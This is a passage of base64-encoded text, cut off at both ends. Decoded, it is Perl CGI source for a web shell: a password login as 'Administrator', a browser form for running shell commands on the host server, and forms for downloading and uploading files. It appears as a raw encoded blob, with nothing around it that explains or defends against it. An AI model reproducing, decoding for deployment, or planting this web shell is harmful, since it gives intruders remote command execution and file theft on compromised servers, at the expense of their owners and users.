dGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSB7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgIH0NCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsNCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7DQogICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsNCiAgfSBlbHNlIHsNCgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQoJdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsNCiAgfQ0KfQ0KPC9zY3JpcHQ+DQo8L3ByZT4NCg0KPGJyPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsNClR5cGluZ1RleHQucnVuQWxsKCk7DQoNCjwvc2NyaXB0Pg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIGVuY29kZSBodG1sIHNwZWNpYWwgY2hhcnMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcmxFbmNvZGUoJCl7DQoJbXkgJHN0ciA9IHNoaWZ0Ow0KCSRzdHIgPX4gcy8oW15BLVphLXowLTldKS9zcHJpbnRmKCIlJSUwMlgiLCBvcmQoJDEpKS9zZWc7DQoJcmV0dXJuICRzdHI7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpew0KCW15ICR0ZXh0ID0gc2hpZnQ7DQoJJHRleHQgPX4gcy8mLyZhbXA7L2c7DQoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOw0KCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsNCgkkdGV4dCA9fiBzLzwvJmx0Oy9nOw0KCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7DQoJcmV0dXJuICR0ZXh0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQWRkTGlua0RpcigkKQ0Kew0KCW15ICRhYz1zaGlmdDsNCglteSBAZGlyPSgpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7DQoJfWVsc2UNCgl7DQoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7DQoJfQ0KCW15ICRwYXRoPSIiOw0KCW15ICRyZXN1bHQ9IiI7DQoJZm9yZWFjaCAoQGRpcikNCgl7DQoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOw0KCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuZW5jb2RlX2Jhc2U2NCgkcGF0aCkuIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UNCnsNCglwcmludCA8PEVORDsNCg0KDQpQYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KTG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPg0KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQ0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPg0KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvDQojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMNCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCQlyZXR1cm4gPDxFTkQ7DQo8L3RleHRhcmVhPg0KPGJyPjxmb250IGNvbG9yPXllbGxvdz4NCkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS48L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+DQpFTkQNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBjb250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyDQojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaA0KIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5Lg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQ0Kew0KCWxvY2FsKCRGaWxlVXJsKSA9IEBfOw0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRyZXN1bHQgLj0gPDxFTkQ7DQpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4NCg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPg0KRU5EDQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJfQ0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOw0KCQkkcmVzdWx0IC49ICZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglteSAkcmVzdWx0ID0gIiI7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UNCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLA0KIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9D